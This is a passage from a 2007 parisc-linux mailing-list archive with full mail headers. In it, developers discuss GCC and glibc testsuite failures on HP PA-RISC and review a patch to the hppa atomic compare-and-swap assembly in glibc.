Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31528-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 00:38:33 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.236])
	by free.linux.hp.com (Postfix) with ESMTP id D614D7DCE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 00:38:33 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so1482413wra
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 23:38:33 -0700 (PDT)
Original-Received: by 10.114.94.1 with SMTP id r1mr2486052wab.1179729512807;
	Sun, 20 May 2007 23:38:32 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Sun, 20 May 2007 23:38:32 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: E1o5C/xTbHIymK3NNjQ0/5IqJihyatD3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24542

Heya Carlos, thought you might be interested in some stats:

Rebuilding ubuntu gcc-4.2 with the ubuntu glibc-2.5 that was build
with ubuntu gcc-4.2, I have three fewer failures in the gcc testsuite:

FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -fomit-frame-pointer  (test for ex
cess errors)
WARNING: program timed out.
FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -g  (test for excess errors)
WARNING: program timed out.
FAIL: gcc.c-torture/compile/20001226-1.c  -Os  (test for excess errors)

two fewer failures in libmudflap:
FAIL: libmudflap.cth/pass39-frag.c (-O2) (rerun 16) execution test
FAIL: libmudflap.cth/pass39-frag.c (-O2) (rerun 16) output pattern test

one fewer failure in libstdc++:
FAIL: thread/pthread5.cc execution test

but four additional ones:
WARNING: program timed out.
FAIL: thread/pthread1.cc execution test
WARNING: program timed out.
FAIL: thread/pthread3.cc execution test
WARNING: program timed out.
FAIL: tr1/2_general_utilities/memory/shared_ptr/thread/default_weaktoshared.cc e
xecution test
FAIL: tr1/2_general_utilities/memory/shared_ptr/thread/mutex_weaktoshared.cc exe
cution test

Still crawling towards the horizon ;)

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
Date: Mon, 21 May 2007 12:19:19 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200705211619.l4LGJKaT004977__34055.7099007585$1416624358$gmane$org@hiauly1.hia.nrc.ca>
References: <20070520211900.GA22493@i386.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624358 23815 80.91.229.3 (22 Nov 2014 02:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:58 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux@lists.parisc-linux.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2007 16:19:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 21 May 2007 18:19:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 253757DD13;
	Mon, 21 May 2007 10:19:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04675-10; Mon, 21 May 2007 10:19:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E901D7DD0E;
	Mon, 21 May 2007 10:19:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2F617DD0C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:19:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04675-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:19:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 16ADF7DD09
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:19:41 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l4LGJKu7004980;
	Mon, 21 May 2007 12:19:21 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l4LGJKaT004977;
	Mon, 21 May 2007 12:19:20 -0400 (EDT)
In-Reply-To: <20070520211900.GA22493@i386.aurel32.net> from "Aurelien Jarno"
	at May 20, 2007 11:19:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kf5nd19CYmYSuunCanc3mJ1KWkZTQZSK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24543

> Then, what about this patch?
> 
> --- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig	2007-05-20 23:15:37.000000000 +0200
> +++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h	2007-05-20 23:15:59.000000000 +0200
> @@ -71,10 +71,10 @@
>  	"copy	%5, %%r24			\n\t"			\
>  	"ble	" LWS "(%%sr2, %%r0)		\n\t"			\
>  	"ldi	" LWS_CAS ", %%r20		\n\t"			\
> +        "sub	%%r0, %%r21, %%r21		\n\t"			\
>  	"cmpib,=,n " ASM_EAGAIN ",%%r21,0b	\n\t"			\

Hmmm, I think the original code was better since it keeps the sub
instruction outside the loop.  The cmpib instruction could be modified
to negate the ASM_EAGAIN.

On the otherhand, I'm now thinking that macros like LWS, LWS_CAS and
ASM_EAGAIN shouldn't be used as they are names that could be used in
user code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More testsuite info
Date: Mon, 21 May 2007 12:43:55 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <200705211643.l4LGhtvv008432__2380.68155381388$1416624358$gmane$org@hiauly1.hia.nrc.ca>
References: <5b2e36650705202338wa690426i956e716cebbd593d@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624358 23819 80.91.229.3 (22 Nov 2014 02:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:58 +0000 (UTC)
Cc: lamont@mmjgroup.com,
 parisc-linux@lists.parisc-linux.org
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2007 16:44:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 21 May 2007 18:44:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C953D7DD19;
	Mon, 21 May 2007 10:44:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05058-03; Mon, 21 May 2007 10:44:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C1487DD15;
	Mon, 21 May 2007 10:44:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DAAD7DD12
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:44:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04773-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:44:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 96F6F7DD11
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:44:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l4LGhuQZ008435;
	Mon, 21 May 2007 12:43:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l4LGhtvv008432;
	Mon, 21 May 2007 12:43:55 -0400 (EDT)
In-Reply-To: <5b2e36650705202338wa690426i956e716cebbd593d@mail.gmail.com> from
	"Jeff Bailey" at May 21, 2007 02:38:32 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: av5jdfwrPTRtyejGPjIwfNQxc2tpZMvk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24544

> Rebuilding ubuntu gcc-4.2 with the ubuntu glibc-2.5 that was build
> with ubuntu gcc-4.2, I have three fewer failures in the gcc testsuite:
> 
> FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -fomit-frame-pointer  (test for ex
> cess errors)
> WARNING: program timed out.
> FAIL: gcc.c-torture/compile/20001226-1.c  -O3 -g  (test for excess errors)
> WARNING: program timed out.
> FAIL: gcc.c-torture/compile/20001226-1.c  -Os  (test for excess errors)

This is a known issue and a GCC PR.  Essentially, GCC has gotten
slower over the years and this test fails on slow machines.  One
factor is the checking that's done prior to release.  You can disable
this with the configure option "--disable-checking".

> two fewer failures in libmudflap:
> FAIL: libmudflap.cth/pass39-frag.c (-O2) (rerun 16) execution test
> FAIL: libmudflap.cth/pass39-frag.c (-O2) (rerun 16) output pattern test

These were probably timeouts.  I don't see any libmudflap fails with
gcc-4.2 and linuxthreads.  If you have failures that aren't timeouts,
they need investigation.

> one fewer failure in libstdc++:
> FAIL: thread/pthread5.cc execution test
> 
> but four additional ones:
> WARNING: program timed out.
> FAIL: thread/pthread1.cc execution test
> WARNING: program timed out.
> FAIL: thread/pthread3.cc execution test
> WARNING: program timed out.
> FAIL: tr1/2_general_utilities/memory/shared_ptr/thread/default_weaktoshared.cc e
> xecution test
> FAIL: tr1/2_general_utilities/memory/shared_ptr/thread/mutex_weaktoshared.cc exe
> cution test

These don't fail with linuxthreads.  If mutex_weaktoshared didn't timeout,
then there's an implementation problem with threads (e.g., bug reported
by Aurelien).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More testsuite info
Date: Mon, 21 May 2007 13:12:18 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <5b2e36650705211012v725065cfw5aa03bc60f69e095__49771.5443176732$1416624358$gmane$org@mail.gmail.com>
References: <5b2e36650705202338wa690426i956e716cebbd593d@mail.gmail.com>
	<200705211643.l4LGhtvv008432@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624358 23830 80.91.229.3 (22 Nov 2014 02:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:58 +0000 (UTC)
Cc: lamont@mmjgroup.com,
 parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2007 17:12:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 21 May 2007 19:12:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A69D87DD28;
	Mon, 21 May 2007 11:12:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05232-09; Mon, 21 May 2007 11:12:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 09B637DD19;
	Mon, 21 May 2007 11:12:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8B3B7DD1C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 11:12:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05335-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 11:12:20 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.232])
	by free.linux.hp.com (Postfix) with ESMTP id 1317F7DD19
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 11:12:20 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so1670290wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 10:12:19 -0700 (PDT)
Original-Received: by 10.115.55.1 with SMTP id h1mr2791306wak.1179767538588;
	Mon, 21 May 2007 10:12:18 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Mon, 21 May 2007 10:12:18 -0700 (PDT)
In-Reply-To: <200705211643.l4LGhtvv008432@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OORicqgof2I/3YicY2xo/gBwdWxlc5a6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24545

On 21/05/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > but four additional ones:
> > WARNING: program timed out.
> > FAIL: thread/pthread1.cc execution test
> > WARNING: program timed out.
> > FAIL: thread/pthread3.cc execution test
> > WARNING: program timed out.
> > FAIL: tr1/2_general_utilities/memory/shared_ptr/thread/default_weaktoshared.cc e
> > xecution test
> > FAIL: tr1/2_general_utilities/memory/shared_ptr/thread/mutex_weaktoshared.cc exe
> > cution test
>
> These don't fail with linuxthreads.  If mutex_weaktoshared didn't timeout,
> then there's an implementation problem with threads (e.g., bug reported
> by Aurelien).

These don't fail with the glibc-2.5 (nptl) compiled with gcc-4.1
either.  The only change here is that the glibc was compiled with
gcc-4.2 instead.  Otherwise it's NPTL before and after.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
Date: Mon, 21 May 2007 14:19:49 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <200705211819.l4LIJoVs021370__23782.2598814548$1416624359$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705211019s1b62504epd54a585e5c473b5f@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624359 23837 80.91.229.3 (22 Nov 2014 02:45:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:59 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 aurelien@aurel32.net,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 May 2007 18:20:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 21 May 2007 20:20:02 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 247627DD34;
	Mon, 21 May 2007 12:19:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05987-09; Mon, 21 May 2007 12:19:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E04137DD36;
	Mon, 21 May 2007 12:19:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4551E7DD32
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 12:19:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05987-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 12:19:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6C5867DD1C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 21 May 2007 12:19:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l4LIJpXP021374;
	Mon, 21 May 2007 14:19:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l4LIJoVs021370;
	Mon, 21 May 2007 14:19:50 -0400 (EDT)
In-Reply-To: <119aab440705211019s1b62504epd54a585e5c473b5f@mail.gmail.com>
	from "Carlos O'Donell" at May 21, 2007 01:19:54 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tpM4KbBlMydyuIigZWpl9cJraGRhZlov
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24546

> On 5/21/07, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > > --- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig     2007-05-20 23:15:37.000000000 +0200
> > > +++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h  2007-05-20 23:15:59.000000000 +0200
> > > @@ -71,10 +71,10 @@
> > >       "copy   %5, %%r24                       \n\t"                   \
> > >       "ble    " LWS "(%%sr2, %%r0)            \n\t"                   \
> > >       "ldi    " LWS_CAS ", %%r20              \n\t"                   \
> > > +        "sub %%r0, %%r21, %%r21              \n\t"                   \
> > >       "cmpib,=,n " ASM_EAGAIN ",%%r21,0b      \n\t"                   \
> >
> > Hmmm, I think the original code was better since it keeps the sub
> > instruction outside the loop.  The cmpib instruction could be modified
> > to negate the ASM_EAGAIN.
> 
> The probability of the cmpib branching to 0b is directly proportional
> to the contention on the kernel lock selected by the address hash.
> Adding instructions to the loop is the equivalent of wasting time in
> userpace, so isn't it better to do as much in the loop as possible? I
> guess you waste memory bandwidth with the store.

In the linuxthread case, user spinlock code would typically spin a 
few times and then call nanosleep.  If this fails a few times, the code
calls sched_yield.  From a performance standpoint, I don't think it helps
to waste time in the loop itself.

On the otherhand, the atomic operations on the gateway page are short,
and processes on the gateway page are never supposed to be scheduled
off or sent signals.  So, I think a contended lock is only possible
with a SMP kernel.

> I hadn't considered this code would be an external API, but I guess it
> is... so these defines should probably go away and the constants
> merged into the code?

Yah, this just occurred to me.  It would be nice if the code could
use EAGAIN from errno.h but I can see that that's a bit tricky.
Possibly, a macro argument would work.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
